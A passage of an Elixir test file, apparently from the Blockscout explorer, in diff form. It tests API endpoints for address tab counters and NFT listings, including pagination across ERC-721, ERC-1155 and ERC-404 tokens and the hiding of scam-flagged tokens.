another_transaction.block, + block_number: another_transaction.block_number + ) + + insert(:block, miner: address) + + transaction = + :transaction + |> insert() + |> with_block() + + for x <- 1..2 do + insert(:internal_transaction, + transaction: transaction, + index: x, + block_number: transaction.block_number, + transaction_index: transaction.index, + block_hash: transaction.block_hash, + block_index: x, + from_address: address + ) + end + + for _ <- 0..60 do + insert(:address_current_token_balance_with_token_id, address: address) + end + + for x <- 0..60 do + transaction = + :transaction + |> insert() + |> with_block() + + insert(:log, + transaction: transaction, + index: x, + block: transaction.block, + block_number: transaction.block_number, + address: address + ) + end + + request = get(conn, "/api/v2/addresses/#{address.hash}/tabs-counters") + response = json_response(request, 200) + + assert %{ + "validations_count" => 1, + "transactions_count" => 2, + "token_transfers_count" => 2, + "token_balances_count" => 51, + "logs_count" => 51, + "withdrawals_count" => 51, + "internal_transactions_count" => 2 + } = response + + old_env = Application.get_env(:explorer, Explorer.Chain.Cache.Counters.AddressTabsElementsCount) + Application.put_env(:explorer, Explorer.Chain.Cache.Counters.AddressTabsElementsCount, ttl: 200) + :timer.sleep(200) + + for x <- 3..4 do + insert(:internal_transaction, + transaction: transaction, + index: x, + block_number: transaction.block_number, + transaction_index: transaction.index, + block_hash: transaction.block_hash, + block_index: x, + from_address: address + ) + end + + insert(:transaction, from_address: address) |> with_block() + insert(:transaction, to_address: address) |> with_block() + + request = get(conn, "/api/v2/addresses/#{address.hash}/tabs-counters") + response = json_response(request, 200) + + assert %{ + "validations_count" => 1, + "transactions_count" => 4, + "token_transfers_count" => 2, + "token_balances_count" => 51, + "logs_count" => 51, + "withdrawals_count" => 51, + "internal_transactions_count" => 4 + } = response + + Application.put_env(:explorer, Explorer.Chain.Cache.Counters.AddressTabsElementsCount, old_env) + end + end + + describe "/addresses/{address_hash}/nft" do + setup do + {:ok, endpoint: &"/api/v2/addresses/#{&1}/nft"} + end + + test "get 200 on non existing address", %{conn: conn, endpoint: endpoint} do + address = build(:address) + + request = get(conn, endpoint.(address.hash)) + response = json_response(request, 200) + + assert %{"items" => [], "next_page_params" => nil} = response + end + + test "get 422 on invalid address", %{conn: conn, endpoint: endpoint} do + request = get(conn, endpoint.("0x")) + + json_response = json_response(request, 422) + + assert %{ + "errors" => [ + %{ + "detail" => "Invalid format. Expected ~r/^0x([A-Fa-f0-9]{40})$/", + "source" => %{"pointer" => "/address_hash_param"}, + "title" => "Invalid value" + } + ] + } = json_response + end + + test "get token with ok reputation", %{conn: conn, endpoint: endpoint} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, true) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + address = insert(:address) + + # --- ERC-721 --- + erc_721_token = insert(:token, type: "ERC-721") + + insert(:token_instance, + owner_address_hash: address.hash, + token_contract_address_hash: erc_721_token.contract_address_hash + ) + + # --- ERC-1155 --- + + token = insert(:token, type: "ERC-1155") + + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash + ) + |> Repo.preload([:token]) + + insert(:address_current_token_balance_with_token_id_and_fixed_token_type, + address: address, + token_type: "ERC-1155", + token_id: ti.token_id, + token_contract_address_hash: token.contract_address_hash + ) + + # --- ERC-404 --- + token = insert(:token, type: "ERC-404") + + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash + ) + |> Repo.preload([:token]) + + insert(:address_current_token_balance_with_token_id_and_fixed_token_type, + address: address, + token_type: "ERC-404", + token_id: ti.token_id, + token_contract_address_hash: token.contract_address_hash + ) + + request = + conn |> put_req_cookie("show_scam_tokens", "true") |> get(endpoint.(address.hash), %{"type" => "ERC-721"}) + + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + + assert response == conn |> get(endpoint.(address.hash), %{"type" => "ERC-721"}) |> json_response(200) + + request = + conn |> put_req_cookie("show_scam_tokens", "true") |> get(endpoint.(address.hash), %{"type" => "ERC-1155"}) + + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + + assert response == conn |> get(endpoint.(address.hash), %{"type" => "ERC-1155"}) |> json_response(200) + + request = + conn |> put_req_cookie("show_scam_tokens", "true") |> get(endpoint.(address.hash), %{"type" => "ERC-404"}) + + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + + assert response == conn |> get(endpoint.(address.hash), %{"type" => "ERC-404"}) |> json_response(200) + end + + test "get token with scam reputation", %{conn: conn, endpoint: endpoint} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, true) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + address = insert(:address) + # --- ERC-721 --- + erc_721_token = insert(:token, type: "ERC-721") + + insert(:scam_badge_to_address, address_hash: erc_721_token.contract_address_hash) + + insert(:token_instance, + owner_address_hash: address.hash, + token_contract_address_hash: erc_721_token.contract_address_hash + ) + + # --- ERC-1155 --- + token = insert(:token, type: "ERC-1155") + + insert(:scam_badge_to_address, address_hash: token.contract_address_hash) + + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash + ) + |> Repo.preload([:token]) + + insert(:address_current_token_balance_with_token_id_and_fixed_token_type, + address: address, + token_type: "ERC-1155", + token_id: ti.token_id, + token_contract_address_hash: token.contract_address_hash + ) + + # --- ERC-404 --- + token = insert(:token, type: "ERC-404") + insert(:scam_badge_to_address, address_hash: token.contract_address_hash) + + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash + ) + |> Repo.preload([:token]) + + insert(:address_current_token_balance_with_token_id_and_fixed_token_type, + address: address, + token_type: "ERC-404", + token_id: ti.token_id, + token_contract_address_hash: token.contract_address_hash + ) + + request = + conn |> put_req_cookie("show_scam_tokens", "true") |> get(endpoint.(address.hash), %{"type" => "ERC-721"}) + + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "scam" + + request = conn |> get(endpoint.(address.hash), %{"type" => "ERC-721"}) + response = json_response(request, 200) + + assert response["items"] == [] + + # --- ERC-1155 --- + request = + conn |> put_req_cookie("show_scam_tokens", "true") |> get(endpoint.(address.hash), %{"type" => "ERC-1155"}) + + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "scam" + + request = conn |> get(endpoint.(address.hash), %{"type" => "ERC-1155"}) + response = json_response(request, 200) + + assert response["items"] == [] + + # --- ERC-404 --- + request = + conn |> put_req_cookie("show_scam_tokens", "true") |> get(endpoint.(address.hash), %{"type" => "ERC-404"}) + + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "scam" + + request = conn |> get(endpoint.(address.hash), %{"type" => "ERC-404"}) + response = json_response(request, 200) + + assert response["items"] == [] + end + + test "get token with ok reputation with hide_scam_addresses=false", %{conn: conn, endpoint: endpoint} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, false) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + address = insert(:address) + # --- ERC-721 --- + erc_721_token = insert(:token, type: "ERC-721") + + insert(:token_instance, + owner_address_hash: address.hash, + token_contract_address_hash: erc_721_token.contract_address_hash + ) + + # --- ERC-1155 --- + token = insert(:token, type: "ERC-1155") + + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash + ) + |> Repo.preload([:token]) + + insert(:address_current_token_balance_with_token_id_and_fixed_token_type, + address: address, + token_type: "ERC-1155", + token_id: ti.token_id, + token_contract_address_hash: token.contract_address_hash + ) + + # --- ERC-404 --- + token = insert(:token, type: "ERC-404") + + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash + ) + |> Repo.preload([:token]) + + insert(:address_current_token_balance_with_token_id_and_fixed_token_type, + address: address, + token_type: "ERC-404", + token_id: ti.token_id, + token_contract_address_hash: token.contract_address_hash + ) + + request = conn |> get(endpoint.(address.hash), %{"type" => "ERC-721"}) + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + + request = conn |> get(endpoint.(address.hash), %{"type" => "ERC-1155"}) + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + + request = conn |> get(endpoint.(address.hash), %{"type" => "ERC-404"}) + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + end + + test "get token with scam reputation with hide_scam_addresses=false", %{conn: conn, endpoint: endpoint} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, false) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + address = insert(:address) + # --- ERC-721 --- + erc_721_token = insert(:token, type: "ERC-721") + + insert(:scam_badge_to_address, address_hash: erc_721_token.contract_address_hash) + + insert(:token_instance, + owner_address_hash: address.hash, + token_contract_address_hash: erc_721_token.contract_address_hash + ) + + # --- ERC-1155 --- + token = insert(:token, type: "ERC-1155") + + insert(:scam_badge_to_address, address_hash: token.contract_address_hash) + + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash + ) + |> Repo.preload([:token]) + + insert(:address_current_token_balance_with_token_id_and_fixed_token_type, + address: address, + token_type: "ERC-1155", + token_id: ti.token_id, + token_contract_address_hash: token.contract_address_hash + ) + + # --- ERC-404 --- + token = insert(:token, type: "ERC-404") + insert(:scam_badge_to_address, address_hash: token.contract_address_hash) + + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash + ) + |> Repo.preload([:token]) + + insert(:address_current_token_balance_with_token_id_and_fixed_token_type, + address: address, + token_type: "ERC-404", + token_id: ti.token_id, + token_contract_address_hash: token.contract_address_hash + ) + + request = conn |> get(endpoint.(address.hash), %{"type" => "ERC-721"}) + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + + request = conn |> get(endpoint.(address.hash), %{"type" => "ERC-1155"}) + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + + request = conn |> get(endpoint.(address.hash), %{"type" => "ERC-404"}) + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + end + + test "get paginated ERC-721 nft", %{conn: conn, endpoint: endpoint} do + address = insert(:address) + + insert_list(51, :token_instance) + + token_instances = + for _ <- 0..50 do + erc_721_token = insert(:token, type: "ERC-721") + + insert(:token_instance, + owner_address_hash: address.hash, + token_contract_address_hash: erc_721_token.contract_address_hash + ) + |> Repo.preload([:token]) + end + # works because one token_id per token, despite ordering in DB: [asc: ti.token_contract_address_hash, desc: ti.token_id] + |> Enum.sort_by(&{&1.token_contract_address_hash, &1.token_id}, :desc) + + request = get(conn, endpoint.(address.hash)) + assert response = json_response(request, 200) + + request_2nd_page = get(conn, endpoint.(address.hash), response["next_page_params"]) + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, token_instances) + end + + test "next_page_params does not leak original type filter", %{conn: conn, endpoint: endpoint} do + address = insert(:address) + + # Create a mix of ERC-1155 and ERC-404 items exceeding one page + insert_list(60, :address_current_token_balance_with_token_id) + + for _ <- 1..60 do + token = insert(:token, type: "ERC-1155") + + ti = + insert(:token_instance, token_contract_address_hash: token.contract_address_hash) |> Repo.preload([:token]) + + ctb = + insert(:address_current_token_balance_with_token_id_and_fixed_token_type, + address: address, + token_type: "ERC-1155", + token_id: ti.token_id, + token_contract_address_hash: token.contract_address_hash + ) + + %Instance{ti | current_token_balance: ctb} + end + + response = + conn + |> get(endpoint.(address.hash), %{type: "ERC-404,ERC-1155"}) + |> json_response(200) + + assert not is_nil(response["next_page_params"]) + refute Map.has_key?(response["next_page_params"], "type") + assert Map.has_key?(response["next_page_params"], "token_type") + end + + test "get paginated ERC-1155 nft", %{conn: conn, endpoint: endpoint} do + address = insert(:address) + + insert_list(51, :address_current_token_balance_with_token_id) + + token_instances = + for _ <- 0..50 do + token = insert(:token, type: "ERC-1155") + + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash + ) + |> Repo.preload([:token]) + + current_token_balance = + insert(:address_current_token_balance_with_token_id_and_fixed_token_type, + address: address, + token_type: "ERC-1155", + token_id: ti.token_id, + token_contract_address_hash: token.contract_address_hash + ) + + %Instance{ti | current_token_balance: current_token_balance} + end + |> Enum.sort_by(&{&1.token_contract_address_hash, &1.token_id}, :desc) + + request = get(conn, endpoint.(address.hash)) + assert response = json_response(request, 200) + + request_2nd_page = get(conn, endpoint.(address.hash), response["next_page_params"]) + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, token_instances) + end + + test "get paginated ERC-404 nft", %{conn: conn, endpoint: endpoint} do + address = insert(:address) + + insert_list(51, :address_current_token_balance_with_token_id) + + token_instances = + for _ <- 0..50 do + token = insert(:token, type: "ERC-404") + + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash + ) + |> Repo.preload([:token]) + + current_token_balance = + insert(:address_current_token_balance_with_token_id_and_fixed_token_type, + address: address, + token_type: "ERC-404", + token_id: ti.token_id, + token_contract_address_hash: token.contract_address_hash + ) + + %Instance{ti | current_token_balance: current_token_balance} + end + |> Enum.sort_by(&{&1.token_contract_address_hash, &1.token_id}, :desc) + + request = get(conn, endpoint.(address.hash)) + assert response = json_response(request, 200) + + request_2nd_page = get(conn, endpoint.(address.hash), response["next_page_params"]) + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, token_instances) + end + + test "test filters", %{conn: conn, endpoint: endpoint} do + address = insert(:address) + + insert_list(51, :token_instance) + + token_instances_721 = + for _ <- 0..50 do + erc_721_token = insert(:token, type: "ERC-721") + + insert(:token_instance, + owner_address_hash: address.hash, + token_contract_address_hash: erc_721_token.contract_address_hash + ) + |> Repo.preload([:token]) + end + |> Enum.sort_by(&{&1.token_contract_address_hash, &1.token_id}, :desc) + + insert_list(51, :address_current_token_balance_with_token_id) + + token_instances_1155 = + for _ <- 0..50 do + token = insert(:token, type: "ERC-1155") + + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash + ) + |> Repo.preload([:token]) + + current_token_balance = + insert(:address_current_token_balance_with_token_id_and_fixed_token_type, + address: address, + token_type: "ERC-1155", + token_id: ti.token_id, + token_contract_address_hash: token.contract_address_hash + ) + + %Instance{ti | current_token_balance: current_token_balance} + end + |> Enum.sort_by(&{&1.token_contract_address_hash, &1.token_id}, :desc) + + filter = %{"type" => "ERC-721"} + request = get(conn, endpoint.(address.hash), filter) + assert response = json_response(request, 200) + + request_2nd_page = get(conn, endpoint.(address.hash), Map.merge(response["next_page_params"], filter)) + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, token_instances_721) + + filter = %{"type" => "ERC-1155"} + request = get(conn, endpoint.(address.hash), filter) + assert response = json_response(request, 200) + + request_2nd_page = get(conn, endpoint.(address.hash), Map.merge(response["next_page_params"], filter)) + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, token_instances_1155) + end + + test "return all token instances", %{conn: conn, endpoint: endpoint} do + address = insert(:address) + + insert_list(51, :token_instance) + + token_instances_721 = + for _ <- 0..50 do + erc_721_token = insert(:token, type: "ERC-721") + + insert(:token_instance, + owner_address_hash: address.hash, + token_contract_address_hash: erc_721_token.contract_address_hash + ) + |> Repo.preload([:token]) + end + |> Enum.sort_by(&{&1.token_contract_address_hash, &1.token_id}, :desc) + + insert_list(51, :address_current_token_balance_with_token_id) + + token_instances_1155 = + for _ <- 0..50 do + token = insert(:token, type: "ERC-1155") + + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash + ) + |> Repo.preload([:token]) + + current_token_balance = + insert(:address_current_token_balance_with_token_id_and_fixed_token_type, + address: address, + token_type: "ERC-1155", + token_id: ti.token_id, + token_contract_address_hash: token.contract_address_hash + ) + + %Instance{ti | current_token_balance: current_token_balance} + end + |> Enum.sort_by(&{&1.token_contract_address_hash, &1.token_id}, :desc) + + request = get(conn, endpoint.(address.hash)) + assert response = json_response(request, 200) + + request_2nd_page = get(conn, endpoint.(address.hash), response["next_page_params"]) + assert response_2nd_page = json_response(request_2nd_page, 200) + + request_3rd_page = get(conn, endpoint.(address.hash), response_2nd_page["next_page_params"]) + assert response_3rd_page = json_response(request_3rd_page, 200) + + assert response["next_page_params"] != nil + assert response_2nd_page["next_page_params"] != nil + assert response_3rd_page["next_page_params"] == nil + + assert Enum.count(response["items"]) == 50 + assert Enum.count(response_2nd_page["items"]) == 50 + assert Enum.count(response_3rd_page["items"]) == 2 + + compare_item(Enum.at(token_instances_721, 50), Enum.at(response["items"], 0)) + compare_item(Enum.at(token_instances_721, 1), Enum.at(response["items"], 49)) + + compare_item(Enum.at(token_instances_721, 0), Enum.at(response_2nd_page["items"], 0)) + compare_item(Enum.at(token_instances_1155, 50), Enum.at(response_2nd_page["items"], 1)) + compare_item(Enum.at(token_instances_1155, 2), Enum.at(response_2nd_page["items"], 49)) + + compare_item(Enum.at(token_instances_1155, 1), Enum.at(response_3rd_page["items"], 0)) + compare_item(Enum.at(token_instances_1155, 0), Enum.at(response_3rd_page["items"], 1)) + end + + test "paginates across types after intermediate type exhaustion (should include next type)", %{ + conn: conn, + endpoint: endpoint + } do + address = insert(:address) + + # Insert 30 ERC-721 (owned directly) + for _ <- 1..30 do + erc_721_token = insert(:token, type: "ERC-721") + + insert(:token_instance, + owner_address_hash: address.hash, + token_contract_address_hash: erc_721_token.contract_address_hash + ) + end + + # Insert 25 ERC-1155 (with balances) + for _ <- 1..25 do + token = insert(:token, type: "ERC-1155") + + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash + ) + |> Repo.preload([:token]) + + insert(:address_current_token_balance_with_token_id_and_fixed_token_type, + address: address, + token_type: "ERC-1155", + token_id: ti.token_id, + token_contract_address_hash: token.contract_address_hash + ) + end + + # Insert 10 ERC-404 (with balances) + for _ <- 1..10 do + token = insert(:token, type: "ERC-404") + + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash + ) + |> Repo.preload([:token]) + + insert(:address_current_token_balance_with_token_id_and_fixed_token_type, + address: address, + token_type: "ERC-404", + token_id: ti.token_id, + token_contract_address_hash: token.contract_address_hash + ) + end + + # Page 1 + page1_resp = conn |> get(endpoint.(address.hash)) |> json_response(200) + assert Enum.count(page1_resp["items"]) == 50 + assert page1_resp["next_page_params"] != nil + + # Expect mixture of ERC-721 and ERC-1155 only on first page (by current logic order) + assert %{ + "ERC-721" => 30, + "ERC-1155" => 20 + } = Enum.frequencies_by(page1_resp["items"], & &1["token_type"]) + + page2_resp = conn |> get(endpoint.(address.hash), page1_resp["next_page_params"]) |> json_response(200) + + assert Enum.count(page2_resp["items"]) == 15 + assert page2_resp["next_page_params"] == nil + + assert %{ + "ERC-1155" => 5, + "ERC-404" => 10 + } = Enum.frequencies_by(page2_resp["items"], & &1["token_type"]) + end + + test "multi-type filter includes only requested types", %{conn: conn, endpoint: endpoint} do + address = insert(:address) + + # ERC-721 tokens (should be excluded by filter) + for _ <- 1..5 do + erc_721_token = insert(:token, type: "ERC-721") + + insert(:token_instance, + owner_address_hash: address.hash, + token_contract_address_hash: erc_721_token.contract_address_hash + ) + end + + # ERC-1155 tokens (should be included) + for _ <- 1..5 do + token = insert(:token, type: "ERC-1155") + + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash + ) + |> Repo.preload([:token]) + + insert(:address_current_token_balance_with_token_id_and_fixed_token_type, + address: address, + token_type: "ERC-1155", + token_id: ti.token_id, + token_contract_address_hash: token.contract_address_hash + ) + end + + # ERC-404 tokens (should be included) + for _ <- 1..5 do + token = insert(:token, type: "ERC-404") + + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash + ) + |> Repo.preload([:token]) + + insert(:address_current_token_balance_with_token_id_and_fixed_token_type, + address: address, + token_type: "ERC-404", + token_id: ti.token_id, + token_contract_address_hash: token.contract_address_hash + ) + end + + filter = %{"type" => "ERC-404,ERC-1155"} + request = get(conn, endpoint.(address.hash), filter) + response = json_response(request, 200) + + assert Enum.count(response["items"]) == 10 + assert Enum.all?(response["items"], fn item -> item["token_type"] in ["ERC-404", "ERC-1155"] end) + refute Enum.any?(response["items"], fn item -> item["token_type"] == "ERC-721" end) + end + end + + describe "/addresses/{address_hash}/nft/collections" do + setup do + {:ok, endpoint: &"/api/v2/addresses/#{&1}/nft/collections"} + end + + test "get nft collections with ok reputation", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, true) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + address = insert(:address) + token = insert(:token, type: "ERC-721") + amount = Enum.random(16..50) + + current_token_balance = + insert(:address_current_token_balance, + address: address, + token_type: "ERC-721", + token_id: nil, + token_contract_address_hash: token.contract_address_hash, + value: amount + ) + |> Repo.preload([:token]) + + for _ <- 0..(amount - 1) do + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash, + owner_address_hash: address.hash + ) + |> Repo.preload([:token]) + + %Instance{ti | current_token_balance: current_token_balance} + end + + token = insert(:token, type: "ERC-1155") + amount = Enum.random(16..50) + + for _ <- 0..(amount - 1) do + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash, + owner_address_hash: address.hash + ) + |> Repo.preload([:token]) + + current_token_balance = + insert(:address_current_token_balance, + address: address, + token_type: "ERC-1155", + token_id: ti.token_id, + token_contract_address_hash: token.contract_address_hash, + value: Enum.random(1..100_000) + ) + |> Repo.preload([:token]) + + %Instance{ti | current_token_balance: current_token_balance} + end + + token = insert(:token, type: "ERC-404") + amount = Enum.random(16..50) + + for _ <- 0..(amount - 1) do + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash, + owner_address_hash: address.hash + ) + |> Repo.preload([:token]) + + current_token_balance = + insert(:address_current_token_balance, + address: address, + token_type: "ERC-404", + token_id: ti.token_id, + token_contract_address_hash: token.contract_address_hash, + value: Enum.random(1..100_000) + ) + |> Repo.preload([:token]) + + %Instance{ti | current_token_balance: current_token_balance} + end + + request = + conn + |> put_req_cookie("show_scam_tokens", "true") + |> get("/api/v2/addresses/#{address.hash}/nft/collections", %{type: "ERC-721"}) + + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + + assert response == + conn + |> get("/api/v2/addresses/#{address.hash}/nft/collections", %{type: "ERC-721"}) + |> json_response(200) + + request = + conn + |> put_req_cookie("show_scam_tokens", "true") + |> get("/api/v2/addresses/#{address.hash}/nft/collections", %{type: "ERC-1155"}) + + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + + assert response == + conn + |> get("/api/v2/addresses/#{address.hash}/nft/collections", %{type: "ERC-1155"}) + |> json_response(200) + + request = + conn + |> put_req_cookie("show_scam_tokens", "true") + |> get("/api/v2/addresses/#{address.hash}/nft/collections", %{type: "ERC-404"}) + + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + + assert response == + conn + |> get("/api/v2/addresses/#{address.hash}/nft/collections", %{type: "ERC-404"}) + |> json_response(200) + end + + test "get nft collections with scam reputation", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, true) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + address = insert(:address) + + token = insert(:token, type: "ERC-721") + insert(:scam_badge_to_address, address_hash: token.contract_address_hash) + + amount = Enum.random(16..50) + + current_token_balance = + insert(:address_current_token_balance, + address: address, + token_type: "ERC-721", + token_id: nil, + token_contract_address_hash: token.contract_address_hash, + value: amount + ) + |> Repo.preload([:token]) + + for _ <- 0..(amount - 1) do + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash, + owner_address_hash: address.hash + ) + |> Repo.preload([:token]) + + %Instance{ti | current_token_balance: current_token_balance} + end + + token = insert(:token, type: "ERC-1155") + insert(:scam_badge_to_address, address_hash: token.contract_address_hash) + amount = Enum.random(16..50) + + for _ <- 0..(amount - 1) do + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash, + owner_address_hash: address.hash + ) + |> Repo.preload([:token]) + + current_token_balance = + insert(:address_current_token_balance, + address: address, + token_type: "ERC-1155", + token_id: ti.token_id, + token_contract_address_hash: token.contract_address_hash, + value: Enum.random(1..100_000) + ) + |> Repo.preload([:token]) + + %Instance{ti | current_token_balance: current_token_balance} + end + + token = insert(:token, type: "ERC-404") + insert(:scam_badge_to_address, address_hash: token.contract_address_hash) + amount = Enum.random(16..50) + + for _ <- 0..(amount - 1) do + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash, + owner_address_hash: address.hash + ) + |> Repo.preload([:token]) + + current_token_balance = + insert(:address_current_token_balance, + address: address, + token_type: "ERC-404", + token_id: ti.token_id, + token_contract_address_hash: token.contract_address_hash, + value: Enum.random(1..100_000) + ) + |> Repo.preload([:token]) + + %Instance{ti | current_token_balance: current_token_balance} + end + + request = + conn + |> put_req_cookie("show_scam_tokens", "true") + |> get("/api/v2/addresses/#{address.hash}/nft/collections", %{type: "ERC-721"}) + + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "scam" + + request = conn |> get("/api/v2/addresses/#{address.hash}/nft/collections", %{type: "ERC-721"}) + response = json_response(request, 200) + + assert response["items"] == [] + + request = + conn + |> put_req_cookie("show_scam_tokens", "true") + |> get("/api/v2/addresses/#{address.hash}/nft/collections", %{type: "ERC-1155"}) + + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "scam" + + request = conn |> get("/api/v2/addresses/#{address.hash}/nft/collections", %{type: "ERC-1155"}) + response = json_response(request, 200) + + assert response["items"] == [] + + request = + conn + |> put_req_cookie("show_scam_tokens", "true") + |> get("/api/v2/addresses/#{address.hash}/nft/collections", %{type: "ERC-404"}) + + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "scam" + + request = conn |> get("/api/v2/addresses/#{address.hash}/nft/collections", %{type: "ERC-404"}) + response = json_response(request, 200) + + assert response["items"] == [] + end + + test "get nft collections with ok reputation with hide_scam_addresses=false", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, false) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + address = insert(:address) + + token = insert(:token, type: "ERC-721") + + amount = Enum.random(16..50) + + current_token_balance = + insert(:address_current_token_balance, + address: address, + token_type: "ERC-721", + token_id: nil, + token_contract_address_hash: token.contract_address_hash, + value: amount + ) + |> Repo.preload([:token]) + + for _ <- 0..(amount - 1) do + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash, + owner_address_hash: address.hash + ) + |> Repo.preload([:token]) + + %Instance{ti | current_token_balance: current_token_balance} + end + + token = insert(:token, type: "ERC-1155") + amount = Enum.random(16..50) + + for _ <- 0..(amount - 1) do + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash, + owner_address_hash: address.hash + ) + |> Repo.preload([:token]) + + current_token_balance = + insert(:address_current_token_balance, + address: address, + token_type: "ERC-1155", + token_id: ti.token_id, + token_contract_address_hash: token.contract_address_hash, + value: Enum.random(1..100_000) + ) + |> Repo.preload([:token]) + + %Instance{ti | current_token_balance: current_token_balance} + end + + token = insert(:token, type: "ERC-404") + amount = Enum.random(16..50) + + for _ <- 0..(amount - 1) do + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash, + owner_address_hash: address.hash + ) + |> Repo.preload([:token]) + + current_token_balance = + insert(:address_current_token_balance, + address: address, + token_type: "ERC-404", + token_id: ti.token_id, + token_contract_address_hash: token.contract_address_hash, + value: Enum.random(1..100_000) + ) + |> Repo.preload([:token]) + + %Instance{ti | current_token_balance: current_token_balance} + end + + request = conn |> get("/api/v2/addresses/#{address.hash}/nft/collections", %{type: "ERC-721"}) + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + + request = conn |> get("/api/v2/addresses/#{address.hash}/nft/collections", %{type: "ERC-1155"}) + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + + request = conn |> get("/api/v2/addresses/#{address.hash}/nft/collections", %{type: "ERC-404"}) + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + end + + test "get nft collections with scam reputation with hide_scam_addresses=false", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, false) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + address = insert(:address) + + token = insert(:token, type: "ERC-721") + insert(:scam_badge_to_address, address_hash: token.contract_address_hash) + + amount = Enum.random(16..50) + + current_token_balance = + insert(:address_current_token_balance, + address: address, + token_type: "ERC-721", + token_id: nil, + token_contract_address_hash: token.contract_address_hash, + value: amount + ) + |> Repo.preload([:token]) + + for _ <- 0..(amount - 1) do + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash, + owner_address_hash: address.hash + ) + |> Repo.preload([:token]) + + %Instance{ti | current_token_balance: current_token_balance} + end + + token = insert(:token, type: "ERC-1155") + insert(:scam_badge_to_address, address_hash: token.contract_address_hash) + + amount = Enum.random(16..50) + + for _ <- 0..(amount - 1) do + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash, + owner_address_hash: address.hash + ) + |> Repo.preload([:token]) + + current_token_balance = + insert(:address_current_token_balance, + address: address, + token_type: "ERC-1155", + token_id: ti.token_id, + token_contract_address_hash: token.contract_address_hash, + value: Enum.random(1..100_000) + ) 